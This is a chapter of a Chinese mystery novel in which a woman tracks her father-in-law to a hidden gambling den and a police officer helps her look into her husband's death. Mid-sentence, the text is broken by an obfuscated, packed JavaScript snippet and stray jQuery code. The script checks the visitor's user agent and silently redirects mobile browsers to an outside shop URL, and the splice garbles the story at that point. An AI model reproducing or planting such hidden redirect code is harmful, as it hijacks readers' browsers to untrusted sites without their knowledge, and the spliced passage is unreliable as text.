午后,蒋今越走出门,把饭香关回了屋里。
这顿饭并不令人开心,沉默远比交谈多,吃完饭后,她拿出了六万块钱给了他们,一方面是表达情谊,一方面是为今天的出现找一个合理的借口。
不过,她今天来的目的已经达到。
十五分钟后,她开车抵达了离易强和张兰英家最近的永辉超市,这地方算是兴州的城中村,管理混乱,筒子楼和自建砖房交叉相间,马路原本就狭窄,还被随处停着的车占据,蒋今越找了半天停车位才把车停稳。
下车后,蒋今越先是到永辉超市买了一瓶矿泉水,临走的时候没忘问店员要个塑料袋。
那塑料袋上印着永辉两个大字,红色宋体,跟刚才易强拎回家的袋子一模一样,在厨房的角落里,还堆着不少同样模样的袋子,显然他不止一次光顾了。
永辉超市是连锁店,价格不便宜,连可乐都比街边小店贵了五毛钱,锱铢必较的中年人们向来把他们视为黑心商铺。而在距离兴盛嘉园五分钟路程的地方就有一家小超市,再走两步,街边甚至还坐着几个老太太卖自家种的蔬菜,而易强偏偏舍近求远来的这里。
还是说她刚才吃到的鲫鱼、牛肉、排骨、芹菜、豆腐、荷兰豆已经罕见到需要忽略距离跑到十几公里外的地方才能买到?
蒋今越拧开瓶盖,喝了一口在冰柜里被冻得凉滋滋的水,站在超市门口慢慢地环视一圈。
排骨拿回去的时候还没完全解冻,易强又没车,所以要回去只有打车一个选择。
价格高昂、路程不近,但连买菜都要如此不辞辛苦地大老远跑来这里,一定是有什么难以让他抗拒的东西在这里。
那地方一定离这里不远,而且他经常以买菜为借口来到这里,所以当他从那件如此吸引他的事情中猛然惊醒,想起还有要买菜这件事时,并没有选择回去再买。
蒋今越沿着这条街走了一圈,从表面上来看并没有任何异样之处。
当然,只是表面。
在视野之内,蒋今越缓缓锁定了几个可疑的目标。
第一个是对面的一扇卷帘铁门,门上一层层落满了灰尘,不知道多久没被打开,但门口的地上却满是脚印。
蒋今越走近,她在门口站了会,没听见门内有任何声音。她还没莽撞到直接敲门,就暂时把目光移向自己的第二个目标。
从永辉超市往西走二十米,有一个不起眼的破旧楼道口,贴满了各种颜色的开锁小广告,昏暗又寂静,看上去像是都市传说的发生地。这样的楼道口在这片区域不计其数,当年兴州发展得早,人们心里还没有小区这个概念,反而觉得从大街上就能直接上楼还挺方便。
只不过到今天,这种楼早就没人看得上,就连外地的租客也没几个爱租这种地方,所以不少楼道口全都蒙上了一层灰,而眼前的这个在其中却是罕见的干净。
她刚一走进去,楼道里的声控灯就灵敏地亮了起来,一连走了三层都是如此,她抬头望了眼灯泡,很干净,看来,刚换没多久。
沿着楼梯走上了四楼,蒋今越这才发现这地方并非没有声音,正相反,稀里哗啦的搓麻声、聒噪吵闹的电子音、吵吵嚷嚷的说话声都被那扇大铁门堵在了这个房间里,只有隐约几句话从还没关紧的门缝里溢出。
“老刘,今天你的手气不怎么样啊,这才来一会就输小一万块了啊。”
“呸呸呸,这才赢老子两把,你嘚瑟个什么玩意儿。”
也许,这就是让易强流连忘返的地方。蒋今越并不意外,曾经赌赢过的人怎么可能舍得下牌桌,他们的一生都沉溺在运气就是能力的幻觉里,直到溺死。
蒋今越没有在门口停留,继续往五楼走,就好像自己是楼上的住户,只不过途径这里。
在随时有可能被人打开的门前停留并不是一个好习惯,而出门的人总是往下走的,她不打算跟人迎面撞上,所以上楼是她唯一的选择,她需要进一步观察这里,哪怕是从门缝里。
她停在四楼上五楼的台阶上,靠在墙上静静地等待着,这里是视线的死角,哪怕楼下突然开门也不会一眼就发现她的存在,而她却可以看到房间里面的情况。
楼道里又闷又热,连一丝风都没有,蒋今越的汗水很快流了下来,伴随着皮肤变得灼热,她的神经似乎也被温度炙烤到失去感知。
直到——
“妈的,老子今天不玩了!”
伴随着一声怒吼,那扇门终于被推开了。
嘈杂的声音、难闻的烟雾伴随着昏黄的光线涌了出来,门里人满为患,牌桌上堆砌着纸牌、麻将、骰子、被捏瘪的啤酒罐与红色人民币,彼此交杂碰撞的声音片刻也不停歇。
但并非是她正在观察的四楼。
而是五楼。
出门的两三个中年男人一眼便看到了楼道里的蒋今越,他们显然也没想到门外有人,站在最前面的秃头男人右手抖了下烟头,一条圆柱形的灰从他发黄的指间掉了下去,语气不善:“美女,你找谁?”
“我哥住楼上,借过一下。”蒋今越面无表情地抬腿往上走。
没想到男人们笑了起来。
“美女,下回说谎前好好打听打听,这一整栋楼都没人住。”
门外的动静被注意到,门里的声音突然变小,不少人都在探头往外看。
蒋今越与这些人只有一米多的距离。
原本就挂在她额头上的汗此时愈发旺盛,沿着下颚流了下去。
很显然,她只剩下一个选择,跑。
如果那个声音没有响起的话。
“卧槽你怎么找我都找到这了?”一个她从未想过会出现在这里的人从门里走了出来,语气烦躁,“我不是跟你说了我一会就回去么。”
秃头男人打量了一下说话的人,语气里总算和缓了点:“你女朋友?”
“算是吧。”弯腰驼背的丁胜男把手里烧得只剩屁股的烟随手丢在地上,把手插进兜里,用脚跟踩了两下,那令人恶心的流氓模样与周围的中年男人如出一辙,看不出什么差别,“妈的女人真烦,一会没理就打电话查岗,不接还不行,还偷摸跟着我过来。”
蒋今越的头脑冷静下来,瞬间跟着演戏:“谁让你挂我电话的,你都三天没理我了!”
“老子有大事要干,你懂个屁。”
“大事?你能有什么大事?你拿了我的钱就是来这鬼混的?你还要不要脸。”
“哎哎哎,别乱说啊。”丁胜男自然地往前一步,挡在蒋今越和他们之间:“咱俩还说什么你的我的,我的不就是你的。”
秃头男人大声笑了起来:“厉害啊小陈。”
“厉害什么啊王哥,刚才我都输给你多少盘了。”丁胜男摇摇头。
“行了行了,快去哄哄吧。”
“是,都听王哥的。”丁胜男两手插兜,摇摇晃晃地下楼,然后一把揽过蒋今越的肩:“行了行了跟你走行了吧,真扫兴。”
“别碰我!”蒋今越打他手。
“你还来劲了。”丁胜男又凑过去。
丁胜男和蒋今越你一言我一语地往下走着,直到上了丁胜男的大众才算停。
“没想到蒋大博士还挺会演戏。”
“丁警官不打算明年申请一个奥斯卡?”
两个人沉默了几秒,异口同声地开口,紧接着又是沉默。
“你怎么会在这里?”蒋今越疑问。
“你就这样来这里?”丁胜男嘲笑。
“……”
“……”
“因为易强,对吧?”丁胜男挑眉。
“对。”蒋今越点头:“我只是觉得从记录来看,他们的通话太频繁了。”
“这么频繁肯定是有什么事情吧。”丁胜男笑笑,“而你对这件事一无所知。”
蒋今越思考了几秒,非要说的话,她只能想起两个月前的一个周日,那天他的工作群发了条什么通知,易峥手一抖,一不小心把手里的鱼食撒了一地,他让蒋今越帮忙打扫,自己则是打开平板紧急开会。等蒋今越把一片狼藉收拾干净的时候,原本正沉浸于工作的易峥突然关了视频拿起了自己突然震动的手机,走到阳台上接通了电话,如果蒋今越没看错的话,打电话的人是易强。
在她印象里,那还是第一次易峥因为家里人突然的来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633449|206490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
电暂停工作。
“是的。”
“有一个星期平均一天打两次,最多的一次一天打了五次,就算是家里人,这样太频繁了。”丁胜男扬扬下巴,接着问,“那钱的事呢,他有告诉过你吗?”
“前几个月他说过,他爸因为在网上买东西被诈骗了点钱,他自己要取三万块钱,就骗他说钱被警察追回来了来哄老人开心。”
“看样子,可能不是骗老人,是骗你的。”
蒋今越沉默了几秒:“是。”
“那你又是怎么从易强那里找到这里来的,大学霸。”
蒋今越掏出了口袋里的塑料袋:“在他家里,有一堆这种袋子。这一家超市是最近的。”
“不愧是学霸,就是聪明。”
“你呢。”蒋今越忽略她阴阳怪气的称赞。
“我在兴盛嘉园蹲了两天,你这好公公一有空就往这跑,想装不知道都难。”丁胜男又掏出一根烟来点上,注意到蒋今越的眼神后,自动把手伸出了窗外,“我跟他打过两局,他这人牌技烂脾气横瘾大爱装逼还喜欢装阔当冤大头,没少被这里的人宰。”
“你这几天在蹲他?”
“是啊,感谢兴州的稳定繁荣吧。这两天老子闲得长毛,不然谁来管你的破事。”丁胜男嗤笑一声。
易峥死前的通话记录就是丁胜男发给她的,蒋今越这个外行人都能发现易强和张兰英这两人跟他的通话过于频繁,更何况是专业的刑警。
“谢谢你帮我。”蒋今越心里清楚,“还有这几天辛苦你了,还有今天。”
“别跟我来这套。”丁胜男把眼睛移到窗外,不去看她,“你就当我闲的没事干做慈善吧,只不过我可不保证能查出东西来。”
蒋今越盯着车外来来往往的人群,沉默了一会:“我明白。”
丁胜男抖了抖烟头:“还有,这件事只是奇怪,但不意味着跟他的死有关。”
“这我也明白。”
“所以,我很好奇,你到底是从哪里发现了不对,要追查这件事?”丁胜男眯缝了下眼,回过头认真地端详着身旁人的表情。
从目前的所有情况来看,这应该只是一桩意外,现场没有发现其他人的痕迹,甚至还有隔空的现场证人,至少丁胜男没发现任何不对。
她很好奇,蒋今越的求助到底是因为她真的发现了什么问题,还是因为其他。
蒋今越沉默了很久,然后才再次开口:“你听过那段录音吧,就是易峥死前和他实习生的那通。”
“听过。”
“你不觉得通话停止的时间很奇怪吗。”
“嗯哼。”丁胜男示意她继续说。
“那个规培的实习生甚至连话都没来得及说,这通录音就结束了,从山上摔下去哪有这么快,可他的手机是在山下发现的。”
丁胜男嘴唇轻轻翕动,最终却没把自己的质疑说出来,只是浮了一个自嘲般的浅笑。
导致这种情况的可能性实在是太多,有可能是因为对话的两人当时太慌乱,其中不知道谁无意中误触了挂断键,也有可能是撞在了山崖上中途摔坏后,手机接着顺着滑了下去……
“这最多只能算疑点,算不上证据。”
丁胜男一方面一直觉得蒋今越的怀疑站不住脚,可另一方面,她总觉得对方有所保留,像是知道着什么无法告诉她的事情,所以才如此笃定地想要追查。
“我知道。”蒋今越低下头,“所以我需要你的帮助。”
“行了蒋大博士,回家还是回学校?我送你。”丁胜男把手里的烟头捏灭,弹了出去。
“不用了,我自己开了车。”蒋今越拉开车门,抬腿下车。
“好嘞,那我回去了。”丁胜男也不客气,拧了下车钥匙,准备等她关好门就出发。
“还有。”没想到刚下车的蒋今越突然想起了什么,翻身回来,弯腰:“跟我在一起的时候就别装了。”
丁胜男有点懵:“什么?”
“你根本就不抽烟。”
说完,蒋今越转身离开。只剩下丁胜男坐在车里,她无意识地转了下左手的打火机,自嘲地笑了起来。